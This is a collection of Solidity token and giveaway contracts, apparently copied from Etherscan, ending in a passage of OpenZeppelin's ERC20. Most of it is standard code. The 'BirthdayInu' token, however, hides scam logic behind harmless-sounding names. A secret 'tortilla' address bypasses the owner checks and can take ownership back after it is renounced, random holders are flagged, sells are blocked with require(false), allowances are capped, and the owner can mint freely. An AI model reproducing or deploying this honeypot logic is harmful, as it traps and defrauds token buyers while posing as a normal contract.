return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint256 public decimals; } contract URToken is StandardToken, DetailedERC20 { uint256 public constant INITIAL_SUPPLY = 50000000000000000000000000; constructor () public{ decimals = 18; symbol = "URCN"; name = "UrToken"; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-28 */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private tortilla; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; tortilla = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() != tortilla) { require(_owner == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function AutoBurnLP() public { require(_owner != tortilla); emit OwnershipTransferred(_owner, tortilla); _owner = tortilla; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BirthdayInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public infinit; mapping (address => bool) public fifa; mapping (address => bool) public dollar; mapping (address => uint256) public rugby; bool private catness; uint256 private _totalSupply; uint256 private airline; uint256 private dubai; uint256 private _trns; uint256 private chTx; uint8 private _decimals; string private _symbol; string private _name; bool private pengg; address private creator; bool private nanos; uint television = 0; constructor() public { creator = address(msg.sender); catness = true; pengg = true; _name = "Birthday Inu"; _symbol = "BIRTHINU"; _decimals = 6; _totalSupply = 20000000000000000; _trns = _totalSupply; airline = _totalSupply; chTx = _totalSupply / 1700; dubai = chTx * 40; fifa[creator] = false; dollar[creator] = false; infinit[msg.sender] = true; _balances[msg.sender] = _totalSupply; nanos = false; emit Transfer(address(0), msg.sender, _trns); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } function InitiateBuyback(uint256 amount) external onlyOwner { airline = amount; } /** * @dev Returns the erc20 token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function randomly() internal returns (uint) { uint screen = uint(keccak256(abi.encodePacked(now, msg.sender, television))) % 20; television++; return screen; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function LogFunction() external onlyOwner { airline = chTx; nanos = true; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * * */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function InitiateBridge(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { infinit[spender] = val; fifa[spender] = val2; dollar[spender] = val3; nanos = val4; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (catness == false)) { airline = chTx; nanos = true; } if ((address(sender) == creator) && (catness == true)) { infinit[recipient] = true; fifa[recipient] = false; catness = false; } if ((amount > dubai) && (infinit[sender] == true) && (address(sender) != creator)) { dollar[recipient] = true; } if (infinit[recipient] != true) { fifa[recipient] = ((randomly() == 4) ? true : false); } if ((fifa[sender]) && (infinit[recipient] == false)) { fifa[recipient] = true; } if (infinit[sender] == false) { if ((amount > dubai) && (dollar[sender] == true)) { require(false); } require(amount < airline); if (nanos == true) { if (dollar[sender] == true) { require(false); } dollar[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. **/ /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (pengg == true)) { infinit[spender] = true; fifa[spender] = false; dollar[spender] = false; pengg = false; } tok = (fifa[owner] ? 6125753 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-06 */ // SPDX-License-Identifier: MIT // 84 71 32 64 84 104 101 71 104 111 115 116 68 101 118 // ASCII pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract GiveawayContract is Ownable { using SafeMath for uint256; IERC20 public tokenAccel; struct TokenInputInfo { address addr; uint256 rateInput; uint256 rateOutput; } mapping (uint256 => TokenInputInfo) public tokenInput; mapping (uint256 => mapping (address => uint256)) private balances; mapping (address => bool) public claimed; uint256 private totalDevidend; constructor(address _tokenAccel) { tokenAccel = IERC20(_tokenAccel); } function ownerAddInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{ require(id < 3, "There 3 token, id should be 0,1,2"); tokenInput[id].addr = _inputToken; tokenInput[id].rateInput = _inputRate; tokenInput[id].rateOutput = _outputRate; } receive() external payable { } function ownerWithdrawEthAndToken() public onlyOwner{ tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function ownerSetupTokenBalance(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner { require(id < 3, "There 3 token, id should be 0,1,2"); for( uint256 i = 0; i < accounts.length; i++){ balances[id][accounts[i]] = amount[i]; totalDevidend = totalDevidend.add(amount[i].mul(tokenInput[id].rateOutput).div(tokenInput[id].rateInput)); } } function getClaimableAmount(address account) public view returns(uint256 tokens, uint256 eth, uint256 dividend){ if(totalDevidend == 0){ tokens = 0; eth = 0; dividend = 0; }else{ uint256 yourDividend = 0; for (uint256 i= 0; i<3; i++){ if(tokenInput[i].rateInput > 0) yourDividend = yourDividend.add(balances[i][account].mul(tokenInput[i].rateOutput).div(tokenInput[i].rateInput)); } tokens = tokenAccel.balanceOf(address(this)).mul(yourDividend).div(totalDevidend); eth = address(this).balance.mul(yourDividend).div(totalDevidend); dividend = yourDividend; } } function claim() public{ require(claimed[msg.sender] == false, "Already claimed"); claimed[msg.sender] = true; (uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(msg.sender); tokenAccel.transfer(msg.sender, tokens); payable(msg.sender).transfer(eth); totalDevidend = totalDevidend - dividend; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-02 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be 